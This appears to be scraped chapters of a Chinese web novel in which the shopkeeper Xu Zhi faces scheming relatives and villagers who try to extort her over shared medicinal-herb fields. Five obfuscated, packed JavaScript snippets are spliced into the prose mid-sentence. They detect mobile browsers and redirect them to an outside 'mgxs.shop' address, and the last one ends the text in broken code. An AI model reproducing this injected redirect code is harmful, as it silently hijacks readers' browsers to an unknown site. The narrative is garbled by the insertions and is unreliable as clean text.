“叔,这是小芷给你煎的药,你喝了好得快些。” 里正端起碗,这苦药汁一口闷了进去。 喝完看到许芷捏了颗蜜饯在旁边等着,他笑的感动接过放进了嘴里。 因为里正这伤不宜在路上颠簸太久,所以只能让里正暂时先在铺子里修养几天。 许芷顺势也住在了铺子,而这件事解决的消息,早就在当天就让舅舅邓耧子回家告知了所有人。 第二日,她就将该交的税款一文不差的交了上去,甚至还因为自己良好的态度,被县令夸了。 上坪村,许家。 柳珍儿拿着刚收的衣服进了屋子,看到丈夫许富年靠在炕上睡觉。 她气不打一处来,抬脚踢在了男人炕边的脚上。 “干啥?!” 许富年疼的睁开眼,语气不耐。 “干啥?我能干啥?”柳珍儿横眉冷对:“你还要在炕上躺到啥时候?家里这么多活,你也不抬把手!” 闻言,许富年十分不耐,重新抄起手闭上眼,继续睡觉。 十分有理的解释道:“我这不是中了毒,不得好好歇一歇。” 不提这个还好,一提起这个,柳珍儿直接把手里叠好的衣裳摔在了许富年的身上。 “歇!歇!歇!那都大半年前的事儿了。 再说了你那有本事的姑娘,不是把你治好了? 跟你一块被关起来的,早就开始干活,就你这个懒汉,日日躺夜夜睡,怎么没毒死你!” 许富年不防,虽然衣服砸人不痛,但他还是被吓到了。 他猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150206|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地盘腿坐起身,生气道:“吵什么?家里能有多少活? 再说了,你当媳妇儿的本来就应该干,男主外女主内,你懂不懂?!” 他生气的反驳着,没想到媳妇儿会说那种毒死自己的话。 柳珍儿听到这话,眼泪汹涌而出。 “你说的好听! 什么男主外女主内,你内外都不干活,有什么脸说!” 说着她不解气,直接上手去抓许富年的脸。 许富年这大半年净躺吃,如今是一点没有反击的能力,很快脸上布满了交错的血痕。 但是柳珍儿还是不肯放过他,不管他是好言哄她还是生气威胁都不管用。 最后还是家里其他人听到了动静,赶紧过来把人拉开才罢休。 许老太看着被家里人拉住的柳珍儿,生气的举起手里的拐杖就想打过去。 这儿媳妇儿不能要,怎么敢打自己的丈夫! 但是柳珍儿奋力的推开了,一把握住了要打下来的拐杖。 “你们敢打我?我家里那些个哥哥可不是吃素的。 老太太你可想好了,你今儿这拐杖敢落下来,我让我那些哥哥们来把这房子砸了!” 许老太自然知道柳珍儿可不是说说玩玩,所以她收了拐杖,生气道: “有什么事儿你不能好好说,竟然敢打自己的丈夫,反了天了!” “说!说有用吗?他天天什么都不干,只躺着谁能受得了?” 柳珍儿说着,开始收拾东西。 “行,既然如此,我回娘家待着,这屋里的活,谁爱干谁干!” 眼看都要晚上做饭了,许老太自然不想让她走。 人要是走了,这饭谁做啊? 家里四个儿媳妇,就这个柳珍儿做饭好吃些。 所以她劝道:“富年这不是伤了身体,以后我让老大老三和老四多做些就行了,回娘家干啥?” 她说着,还给儿子使眼色,让他也劝劝。 剩下的儿媳虽然都是软绵绵的性子,可却都是软刀子。 平时看着好说话,但是在这个家里从来不顶什么事儿。 就许富年这个,虽说脾气不好,可是家里大大小小的事儿她是真干。 所以没人希望她走,剩下三个媳妇儿也劝着她。 第175章 福地洞天 许富年自知自己理亏,但他语气还是很不耐烦:“我这马上都休养好了,你再忍几天,过几日我就顶上了。” 这话柳珍儿能信她就是全村最大的傻子。 “你就可着我一个人欺负吧,做了你们家的媳妇儿真是倒了八辈子血霉了!” 听到这话许老太瞬间变脸,她立马尖声刺道: “就你这种货色,当时我根本没看上你。 要不是你自己死乞白赖彩礼都不要非要进我家门,当后母都愿意,我能让你进我家门? 自己不要脸,当姑娘的时候都要来我家给我儿洗衣做饭,这会儿说倒了血霉,还不都是你自找的,你活该!” “你!” 柳珍儿气的浑身颤抖,当年确实她被许富年这张脸给迷惑住了。 哪怕他是个鳏夫她都要嫁,家里人怎么劝她都不听,执意嫁进许家。 可是她进了门才知道,原来男人也有绣花枕头。 这张脸看着是赏心悦目,可他从来什么都不干,事事都压在自己身上。 刚开始她虽然心里有落差,但是好在日日面对这张脸,她的火气和不甘能少了很多。 可是这大半年,许富年吃吃躺躺,早就没了年轻时那清瘦挺拔,取而代之的是如同灌了水一般挺起的大肚子。 面容的温润感,也随之消失,如今她看过去,只剩嫌弃和厌烦。 想到这,柳珍儿反而不生气了,讽刺一笑,顺着许老太这话承认道: “没错,当初都是我自己非要进门,如今我想通了,自然不做这种不要脸还贱胚子的事儿。” 说着,她将刚刚收拾好的东西,拿好就要走。 许老太一看没留住人,着急的给其他人使眼色,让他们赶紧把人给拦住。 只是许富年人到中年脾气不小,他指着柳珍儿生气道:“让她走!多大年纪了还闹这一出? 就让她回娘家,我看谁见了不笑话她。 我可警告你柳珍儿,你今天出了这家门,再想进来可就没那么容易了。” 柳珍儿没想到这是一向窝囊的许富年能说出来的话,她转身看着他,眼神里满是受伤和震惊。 而许家众人看到她这反应,觉得许富年说的话起了效用,让她不敢走。 许富年也这么想,又摆出了高高在上的姿态,他双手放在脑后枕着,翘着二郎腿故意道: “你走啊?你怎么不走了?你也知道我们许家可是福地洞天,出去容易进来难!” “福地洞天?” 柳珍儿好像听到了什么笑话,她质问出声:“有什么福?家里穷的都差点揭不开锅,那窗户破了两个月都没人修,怎么好说出这种话!” 许富年瞪她一眼,脸上浮现傲人神色。 “怎么没有福?我那闺女都在城里开了铺子,还种那药苗带着村里人赚钱,不就说明我们家有福气。” 而这话更是让柳珍儿笑弯了腰,也不止柳珍儿觉得好笑,甚至许家其他人也觉得许富年这话说的不对。 那许芷是怎么回事,大家都知道,说这话除了觉得丢人没一点其他的想法。 本来还觉得被许富年说话伤害到了的柳珍儿,这会儿心里的痛早就笑没了。 她看着众人没看她,直接拎着行李走了。 走之前,还留下一句话。 “这么有福气,你慢慢享受吧。” 说完,人就消失在了许家。 而许富年还在激动地跳脚,说着柳珍儿的不识好歹。 大哥许留年尴尬的怒斥他别再说了,那许芷开了铺子,还带着村里人赚钱这事儿,让他们没少被村里人笑话。 说他们放走了一个摇钱树。 那乾坤铺子如此红火,村里用上铺子里东西的人家多的是,偏偏他们许家谁也没用上,没沾上一点光。 许老太看着二儿子这扶不上墙的样子,重重叹了口气。 晚上,许家人吃饭的时候,氛围异常的沉默。 最后还是许老太受不了,放下了手里的窝窝头,生气的说道:“那死丫头,还真一点不顾血亲,赚那么多钱都不知道孝敬孝敬。” 小儿媳周冬梅听到,暗暗撇了撇嘴,心想老太太还真是异想天开。 那许丫头早早就被赶出了许家,十几年不闻不问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155531|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 自己这二哥二嫂还时不时的想要用她的婚事换钱花,只要不是个傻的,谁要这种爹娘? 人家只怕是求天求地,只求他们不去自己门上打秋风。 但是这话她可不敢说,只能在心中自己讥讽两声算了。 许留年放下筷子,宽慰道:“娘,那许丫头咱们都没养过,这些事儿就别想了。” 许老太闻言颇不认同:“怎么没养过?她是在野地里长到了四岁?没我们给她养到四岁,她能有后面的日子?” 这种十分不占理的话,他们几人也就听一听,不敢多言。 还是大儿媳跟着开口劝道:“娘,多少吃点,心中再愁,腹中也不能饿着。” 但也只敢说让她吃饭,不敢多说许芷的事儿。 许老太怎么想怎么生气,“吃什么吃!光知道吃,咱们日日咸菜窝窝头,那许丫头在城里只怕是天天下酒楼!” 说着她浑浊的眼珠子骨碌一转,对老三儿子许过年,也是他四个儿子中最精明的这个说道: “那丫头竟然交上了税,没坏了他们村种药田的事儿。 既然咱们花不到,她也别想赚钱。 老三你是咱们家脑子最活泛的,你再想想出个主意,让她这药田种不下去。” 老三看着母亲眼底那抹精明,笑着恭维道:“娘,您心里是不是有招了?故意在这考儿子呢。” 说完,许老太满意一笑。 “还得是老三跟我最像,能说到娘心里。 没错,娘有一个法子,她种这药田赚了这么多钱,可是用的却是别人的地,我听说平日里也是谁的地谁管药苗。 既然如此她凭什么赚这么多钱,就这种话,往那下坪村一散,肯定多的是人不想干。 都不用咱们为难她,多的是人去找她事儿。” 许老太的脸上闪现了精明痛快的笑容,她可是太清楚了。 田地和人工虽然是村里人,可是这药苗的来路和销路才是最重要的,所以许芷才能赚得多。 但是可不是人人都能想通这个道理。 这话总能飘进有些人的心里,闹出来事儿的。 第176章 又出事了 里正在许芷的铺子里休养的第五日,他已经在铺子里帮忙收钱卖东西了。 看着铺子里来来往往的人,他看着许芷夸赞道: “你这丫头真是有本事,从前光知道你开了这么个铺子,可不知你这铺子如此红火。” 许芷弯弯唇,有些自谦的回答道:“都是运气好。” 这话说出口,谁都知道是她太谦虚。 就这几日他在这,看了许芷从早到晚忙的样子,他心里可清楚,许芷这铺子能这么多人,都是她做的好。 店里的卖的皂儿膏、膏沐和那香囊就不说了,她甚至还会给人特意调配药物。 有些不太会煎药的,也能过来让她煎,才两文钱。 白天看一天铺子,晚上还是加班加点的制东西。 那药田也是,虽说是平时都是他们在干地里的活。 可是许丫头却从不含糊,一年到头跟大家一起忙活。 光是丰收的时候,她一个人制药都忙的脚不沾地,还要忧心铺子。 所以王茹娇听到她这话,笑着反驳道:“小芷你呀,这是有运气就能行的事儿吗? 要没你这一身的本事,光运气,谁能做成这些东西啊。” “王丫头说的对,你呀就别谦虚了。” 里正笑呵呵的摸着胡子说道,他觉得自己早就好的差不多了,想着开口跟许芷说一声。 过一会儿他自己趁着还没下午,去城外做牛车回村里。 这五日在这里,许丫头顿顿大鱼大肉的伺候自己,还亲自给自己配药煎药。 那金疮药都用了一瓶。 他说给许芷钱,可许芷说什么都不要。 还愧疚的说是自己忘了交税的事情,要不然里正也不会挨这顿板子。 听到这话,里正心里说不出的滋味。 所以他坚决不能再在这留着了,每天白吃白喝的,还让许丫头费心。 只是他还没开口,邓耧子火急火燎的闯了进来。 他看到里正,着急道:“出事了,叔!小芷呢?” 许芷正在后院弄东西,并不知道舅舅来了。 里正站起身,说道:“耧子,你缓口气,跟我说说发生什么事了?” 邓耧子咽了口唾沫,再度开口:“村里人不让种药田了!” “啥?!” 里正一听这可不是小事,怎么好端端的不种了?他连忙问邓耧子。 邓耧子却说:“叔,小芷呢,这事儿得让小芷知道,药苗回去三日了,再不种就坏了!” 一旁的刘喜英听到了,忙去后院把许芷叫了过来。 看到许芷进来,邓耧子瞬间跟找到了主心骨一样,“小芷,出事了!” 许芷淡定道:“舅舅直接说怎么回事。” 刘喜英叫她的时候,简单说了句村里人不想种药苗了,所以她现在想要知道具体情况。 因为里正在城里需要照顾,再加上铺子里忙。 所以许芷让舅舅邓耧子和王茹娇回了村里,等着药苗回来的时候,带着村里人将药苗都种下。 因为今年买的药苗跟去年的一样,村里人需要种的药苗没有改变,所以许芷相信就算她不回去,有了去年的经验,他们也能种好。 只是没想到,大家竟然不想种了。 邓耧子开口说明:“药苗到的第一日,我让大家都来领苗子,但是来的人不足一半,剩下的我只当是有事没来,所以先给来的人发了苗,让他们先种着。 可是第二日就来了两户,剩下的人还是没来,我怕消息没传到位,也怕有些人还忙着,就想着第二日上门一个个通知。 没想到到了他们家之后,才知道,这些人竟然都不想种了。 说什么地是他们的,药苗也是他们在种,你什么都没干,赚了那么多钱,不公平。 还说要么你把钱分他们一半,要么他们就不种你的苗子,要自己买药苗种地,地就不租给你了。” 听到这话,刘喜英愤愤不平道:“他们怎么能这样呢!这事儿要这么好干,还能这么多年都没人干?” 里正听了气的一拍桌子:“这群人,简直是无法无天了,我不在村子里,竟然这样**!” 他气愤的声音甚至吓到了来买东西的百姓,许芷赶紧安抚了那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155532|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还给便宜了些。 安抚好之后,许芷看着里正说:“张爷爷,不用急。” “咋不急啊,许丫头,你没听你舅舅说,这药苗都回来三日了,再耽搁那苗就不行了!” 里正焦急道。 而邓耧子和刘喜英也同样着急。 可偏偏看着许芷不是很急的样子,所以邓耧子更着急的说道:“小芷,你赶紧跟我回去处理吧。” 里正也跟着说道:“是啊,得赶紧回去,许丫头我本来也想走,既然如此,咱们三个现在就回去。” 说着他嘱咐刘喜英在这看好铺子,刘喜英点点头,让他们别担心。 铺子有她、小茹和王金宝守着。 小茹是铺子里忙不过来,新找的伙计。 听到刘喜英提到了他们两个,小茹和王金宝忙上前,也保证道。 “是啊,许姐姐,你快回去吧,我们一定会看好铺子的。” “掌柜,有我在你放心。” 许芷嗯了声,跟里正和舅舅邓耧子说:“那就走吧。” 正好刚刚邓耧子着急进来的时候,马车就停在了铺子门口。 三人赶紧出了铺子,邓耧子和里正都坐在了外面赶马车的位置,只有许芷进去了。 确定外甥女坐好后,邓耧子着急的赶着马车出城。 路上邓耧子问许芷:“小芷你打算怎么办?” 许芷还没回答,里正抢先回答道:“定然是要痛斥他们,让他们消停下来,好好种地。 没赚几天钱呢,人先飘起来了,真不知道自己是谁了!” 他的语气带了十足的愤怒,若是细看,能看到他说话时因为激动而颤抖的手。 听到他说完,邓耧子点了点头,觉得就该这样。 主要是不能耽误种药苗,早点让他们想通,早一点种下去,对大家来说都是好事。 “叔,你说的对,一会儿到了村子里你可得帮着我们小芷好好说说这些人。” 邓耧子拜托里正道。 “那当然了,要不然我这个里正岂不是吃白饭的了。” 里正理所应当的回答。 第177章 通风报信 两人就这么说住之后,才听到了许芷淡漠的语气传出来。 “不必,由着他们去吧,他们不想种,就是强种了,难免他们不尽心,药苗浪费了。” 邓耧子不敢相信听到了什么,他着急的问:“那他们不种,药苗剩下怎么办?都三日了。” “总会有人愿意种的。” 虽然里正和邓耧子都看不到许芷的表情,但是光听她的语气都能感受到她的气定神闲。 邓耧子不解道:“小芷,就算重新找人,也不是简单的事情,还不如先安抚下他们,先把药苗种了才是正事。” “舅舅。”许芷语气冷了些,继续道:“你能压得了一日,压不了一年,种药苗本来就是长期合作的事情,若他们不愿意就算了,日后绝不再合作就是。 而且我们就算是不让他们种,无非就是费点功夫再找人就是了。 反正药苗在咱们手里,附近的村子多的是地,我相信愿意挣钱的人也不少。 可若是今日暂时安抚或者强压着他们种了下去,万一日后他们突然又闹,药苗可是在他们的地里,我们就变得被动了。” 里正想了想也确实是这么个道理,他们能闹着一时,难保日后还会不会继续闹。 现在他们只是拦着不让种,若是种下了药苗,日后他们又想不开,直接把药苗薅了他们岂不是损失更大。 到时候拿着药苗威胁许芷,那才是真的让人捏住了脖子。 里正叹了口气,“许丫头说得对,既然不想种就别让他们种了,就算是种了也是强扭的瓜。” 他说完歪头朝马车里面开口道:“许丫头,你放心,我在其他村子里是岁数最大的,还是有点威望的,我今日就去其他村子问一下有没有人愿意种。” 既然里正这么说了,许芷还真有合适的村里选。 上次她弄那汤药的时候,见了几个村子的里正,对他们算是有了些了解。 所以她开口道:“那麻烦里正了,不过既然您开口了我心中有合适的人选,您要不帮帮我?” 听到许芷早就想好了,他惊叹于许芷的镇定。 从这事儿知道开始到现在半个时辰都没有,他们都还是火气很大,没法太理智思考的时候,许芷已经想好了后面怎么办。 他义不容辞道:“许丫头,你说这话就见外了,直接说是谁就行。” “高羊村的里正,谢叔。” 许芷缓缓道:“一会儿到了村口我自己回去就行,让舅舅赶紧带您去高羊村,问一下,我有信心他会愿意的。” 可是听到这个人选里正微微皱眉,他觉得谢乾这小子,有时候看着是挺活泛,也明事理。 但这人脾气太暴躁,不是个好说话的。 他这么想着,这把这话给许芷说了,让许芷想清楚。 还说了他最中意的人选其实是双羊村的里正高富贵。 这人干里正的年限也不少,在村里威望不错,能组织起来人。 同时性子柔和些,商量起来好说话。 虽说是胆子小些,但是整体来说,他更偏向选择高富贵。 许芷听后直接拒绝了。 “张爷爷,高爷爷不行就在这,性子柔和就不好管理这事儿,这不是咱们村子,咱们一个村的关起门来做生意,怎么着都行。 我一个外村的去别的人村里做生意,我也不能时时在哪,自然靠的就是里正。 高羊村的里正谢叔,虽然是个性子暴躁的,可也就是这样的人才能镇得住村里人。 同时,他也是个眼光长远的,这一点上次我研制那汤药的时候,见他的几面就看出来了,总之他才是最合适的人选。 一会儿您去了,还麻烦您跟他说一下租地的钱和每个人的工钱跟咱们村里的人都是一样的,另外一年额外给谢叔十两银子,感谢他操心。” 听到了许芷这一番话,里正才懂得许芷的深意。 不得不说,这丫头想的是真全。 所以他满口答应下来。 “放心吧许丫头,这事儿我今天一定给你谈成。” 说话间,已经到了下坪村官道的路口,许芷下了马车,让里正和舅舅快去高羊村。 而邓耧子嘱咐许芷一句,让她小心,就赶着马车走了。 许芷转身淡定的朝村子里走去,快走到村子口的时候,她看到村口的树下有人在那等着。 看到他回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160132|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了,立刻跑回村子里通风报信。 她喘出一口气,心想这还省了她将人聚在一起。 许芷直接回了山坳,等着那些别有图谋的人上门来。 她一到家,就看到了王茹娇在家里跟祖母哭诉。 邓耧子走的时候她知道,所以她特意来了家里等着许芷。 本来她还能绷着些,但是祖母一关心她,立马就忍不住眼泪,跟邓老太哭诉村里人的恶行。 王茹娇转头看到她回来,本来都哭完了的眼泪都泛滥成灾。 “小芷,你都不知道村里人说话多过分,简直不是人!” 说着她扑到了许芷的怀里,许芷嘴笨也不会哄,只能听着她哭的差不多了才开口道: “别委屈了,如今我回来了,这事儿我自会解决。” 她的话音刚落下,那些**的人家就都到了许芷家门口。 “许丫头,出来吧,我们都知道你回来了,既然回来了,那咱们好好说道说道!” 听到这话,许芷让王茹娇在家陪着祖母,她一个人出去就成。 但是王茹娇和祖母说什么都不让她自己一个人出去面对。 拗不过她们两个,三人只好一起出来。 而她们掰扯这事儿耽误了一会儿,外面的村民见到许芷迟迟不出来,心想他们这招拿捏住了许芷。 也是,那药苗拉回来都好几日了,再不种下去,许丫头只会亏,所以她必须听他们的。 而且早上邓耧子才赶马车去了城里,许丫头火急火燎的没到晌午就赶了回来。 可想而知,这件事对许芷来说就是火烧眉毛的程度。 如此,他们越来越觉得自己做的对。 同时也觉得许芷自己就是心虚,就是赚了黑心钱。 更加觉得自己是非常重要的,要是没了他们许芷这药田还不会赚这么多钱。 毕竟力是他们出的,地更是他们的,她许芷做了什么? 药苗是买的,也不用她运,地里的活她也就教一教就没影了。 既然今天拿捏住了她,要么让她把赚的钱分给他们,要么他们就自己种药苗,反正他们都学会了,有没有许芷都一样。 第178章 眼馋肚饱 于是等许芷出来的时候,他们个个脸上都是势在必得的神色。 李春草站在前面,看到许芷出来,嗤笑一声开口道:“许丫头,舍得回来了?在城里那好日子过的可舒服呀?” “舒不舒服的,不关你事。” 许芷淡漠的说着,没什么耐心地问:“既然要说道说道,那你们就说吧想干什么?” 看到许芷这种冷漠的样子,众人都更加确定她已经被他们拿捏住了。 他们面面相觑,想找个话事人替大家说话,但又都不想当这个出头人。 还是李春草嘲讽一笑,心想这些人有胆子闹没胆子说,都是草包。 所以她走出一步,往后轻蔑的看了众人一眼。 “都是群脓包,既然不敢说,我老婆子敢,我可不怕她这么个小丫头。” 平时一点小事就咋咋呼呼的众人,在听到李春草骂自己脓包的时候,无一人反驳。 甚至看到李春草主动走出去,脸上还有种庆幸的感觉。 庆幸有人站了出去,只要她愿意出头被骂两句脓包怎么了,骂两句又不疼不痒的。 王茹娇看到又是这个李春草当刺头,她生气的质问对方:“李婶子,你还有没有良心? 去年你针对我们小芷,风言风语说了可不少,可是我们小芷并没有跟你计较,你要租地赚钱,我们还是不计前嫌让你赚。 可你如今你赚了点钱就不知道谁是爹谁是娘,刚吃了饭就砸碗,就你这样的人,还敢来提条件!” 李春草闻言嗤笑一声,十分瞧不起王茹娇。 拉长了调子,十分有底气的嘲讽道:“怎么不敢啊,王家丫头? 我也想问问你,这许家丫头给你了多少好处啊,让你次次替她出头? 只怕你自己家的事儿都没这个积极,偏偏为了她这么个黑心肝的得罪咱们村里的人。 你要知道的是,咱们才是这个村的,她可是被亲爹丢在这的,严格来说不算咱们村子的人。” “你!”王茹娇气极:“你们赚钱的时候可是把小芷当成了救命恩人!” “你也说了,王丫头,那是赚钱的时候,可是我们根本没赚到什么钱啊。” 李春草说着朝人群里看了一眼,有人立马附和上来。 “就是,这许丫头用我们的地,我们的人,最后我们才赚十几两银子,要是没有我们她根本种不成这药田。” “听说许丫头这次光交税都交了一千多两,可想而知那些药田挣了多少钱,那么多钱才给我们十几两,这不是黑心是什么?” “许丫头,我们是看你这孩子老实才跟着你干的,可没想到你竟然坑害自家人,真是最毒妇人心。” ...... 任凭他们说话多难听,许芷一概不反驳,也不解释,只是看着她们。 任由他们的猜测越来越恶劣,越来越浑浊的脏水,一桶一桶的往自己身上泼。 而那些人看许芷一点都不着急的样子,更加笃定他们说的就是对的,要不然她干什么一点都不解释。 所以他们说话越来越过分,甚至有人说要把许芷剥削他们而盖的这一进的院子给砸了。 王茹娇听到只觉得荒唐,她大声质问:“这院子明明是小芷没种药田之前盖的,你们怎么好舔着脸说她剥削你们,还要砸这院子!” 此话一出,本来还群情激动的众人偃旗息鼓了些。 他们自然知道这院子跟他们没关系,但是他们就是眼红许芷这院子,所以才趁着这混乱的局面,能砸了这院子最好。 可是王茹娇这话一出,众人自然不可能真的这么做。 但是他们还是梗着脖子吵道:“这院子不是剥削我们,也是剥削了你三叔三婶,牛本来是他们的,也就是许丫头脏心眼。 故意低价买了这牛,转手一买就能盖得起这大院子。 王家丫头,那可是你亲三叔三婶,可别胳膊肘往外拐的太厉害了。” “我三叔三婶都不觉得亏,要你们这群眼馋肚饱的贪吃**?” 王茹娇气哄哄的说着,一句话把所有人都惹**了,他们叫嚣着要冲上前,给两人一个教训。 “你们敢往前一步,今天这事儿我保证让你们付出代价。” 许芷冷若冰霜的声音,缓缓出现。 明明声音不大,可是却莫名的有种威慑力。 众人看向她冰冷又阴沉的脸色,居然真就听了她的话,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160133|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有上前**。 毕竟他们的目标不是**,而是让许芷给他们钱。 目的没达到,还是不能乱来。 所以他们都后退了几步,看着许芷轻蔑开口道:“既然许丫头说了,我们就给你这个面子。 况且我们来这是为了解决问题的,也不是**的。 只要许丫头答应了我们的要求,剩下的事情都好说。” “可以。” 许芷毫不犹豫的答应了。 王茹娇震惊的朝许芷看过去,她不敢相信许芷竟然会答应他们这种无理要求。 一旦答应了很难说他们日后会不会还用这同样的手段来为难要挟许芷。 这种事情,一旦尝到了甜头,人就很难知足。 所以她皱眉靠近许芷,拉了拉许芷的衣袖,压低了声音劝道:“小芷,你怎么能答应呢? 他们这些人就是故意这么做的,你答应了就遂了他们的心意,难保日后他们不会继续用这种手段拿捏你!” 许芷微微侧头同样压低了声音,胸有成竹道:“放心吧,娇娇,我不会做让自己吃亏的事情。” “可是——” “真的没事,娇娇,你要相信我。” 许芷的眼神十分的有底气。 王茹娇看到,虽然还是想再劝两句,可是她看到许芷朝自己微微摇了摇头,让自己别说了。 她只能压下心中的焦急,等着许芷自己去解决。 而**人看到许芷和王茹娇这互动,心中更是高兴。 心里想这许丫头,可能是有些赚钱的脑子,可到底还是个十几岁的丫头,还不是让他们这样一闹就拿捏住了。 李春草领着众人高兴的就要往许芷家里进。 “走吧,乡亲们,去许丫头家里分钱!” 只是他们刚迈出步子,就看到许芷转身将院子大门紧闭。 李春草和其他人都愣住了。 “许丫头,你这是干什么呀?大家站这半天了,让大家进屋里喝杯茶,歇歇脚,慢慢分钱呗。” 李春草指着许芷,理所当然的说着。 而许芷冷漠的看了她一眼,掷地有声道:“谁说我要分给你们钱?” 第179章 十倍返还 此话一出,刚刚还喜笑颜开的众人,瞬间冷了脸。 李春草立马不客气的指着许芷的鼻子骂道:“嘿,我说你这死丫头,刚刚可是你说的可以,答应了我们的要求。 这会儿又装什么不知道呢? 大家伙都在这呢,都听到了你说的话,可不能不认账,我们可不答应! 是不是啊乡亲们?” 随着李春草的声音落下,众人纷纷力挺她。 都指责许芷明明答应了,这会儿却在这装,前后不到一刻,说许芷变脸变得太快,简直令人发指。 面对众人的指责,这会儿许芷不选择沉默应对,而是冷冰冰的眼神看向众人。 接着轻启红唇,不急不忙的说道:“我舅舅跟我说了,你们可是给我提供了两个选择,我答应其中一个便可,是也不是?” 许芷的眼神停留在了李春草身上。 李春草被她寒冰一般的眼神刺到了,但还是梗着脖子回答道:“是又怎么样。” “所以啊,我答应你们不种的选择,以后你们的地我不再租,你们自己想办法种药田吧。” 许芷的声音平缓有力,却让在场的众人愣住了。 他们没想到许芷选择的是这个。 他们仗着药苗回来了,放不了几天,这时候敲诈许芷一笔钱,再继续种就是了。 虽然他们嘴上说着地是他们的,人手也是他们自己。 可是谁都不傻,买那药苗可不是几两银子就能打发的事情。 还有药苗生长过程中,除害虫保暖花的那些钱也不是小数。 他们当然知道自己种挣得多,可是他们现在哪有那么多钱往里投。 多数人想的是,先把许芷的钱拿到手,今年就这么种着。 明年丰收了,赚钱了,让许芷继续分给他们,那他们可就有钱能自己干了。 可是没想到许芷竟然不给钱,让他们自己去种。 有人不甘心的大声问道:“许丫头,你说错了吧?你让我们自己种?” 闻言,许芷面露不解:“这不是你们自己给我的选择吗?而且不是我让你们自己种,是你们自己要求的。” 王茹娇这会儿也明白了许芷为什么这么说,她也冲出来帮助许芷说话。 “对,许芷可从来没说过让你们自己种,都是你们自己闹着非要这样的,如今小芷不过是成全你们而已。” 这话堵得**的人沉默不语,半天都对不上话。 可还是有人不死心,问道:“可许丫头你的药苗都运回来了,若是还不种起来,那就白花那么多钱,岂不是可惜?” 听到提起了药苗,这些人又好像抓到了什么把柄一样。 “是啊,许丫头,你也太自私了,那药苗坏了也不给我们种!” 听到这话,王茹娇只觉得自己大牙都要笑掉了,从来没听过这么厚颜无耻的话。 许芷看了说话那人一眼,那人立刻低下了头不敢对视。 她嗤笑一声:“药苗三日前就回来了,当时好像通知大家去种,你自己不种,我只好成全你。 却没想到你反口咬我,说我自私,这话可真有意思。” “你们就是贪心不足,如今奸计没得逞,才这样恼羞成怒的把错推到了我们小芷的身上,真是一群烂人!” 最后两个字,王茹娇恶狠狠的咬出了口。 看到大家因为她这两个字面色都黑如锅底,她心情大好,又凶巴巴的骂了一句: “都是烂人!跟你们一个村子真是丢人!” 如今众人看着许芷丝毫不让的样子,心里开始害怕。 就算是钱没拿到,那这地得种啊。 要不然这些地就得空着,也没粮食种了,还没了工钱拿。 其他这些得保住。 所以有人打了退堂鼓,尴尬的用商量的语气问许芷: “许丫头,是我们年龄大了,脑子糊涂,你就当这几日无事发生,我们家还是跟着你种药苗。” “别。”许芷伸出手拒绝道:“既然你们提了,我就应该成全你们,后悔也没用了。” 听到彻底没了商量的余地,众人脸色铁青。 既懊悔办了件蠢事儿,又怨怼许芷为何如此不近人情。 这想着,话就说了出口。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 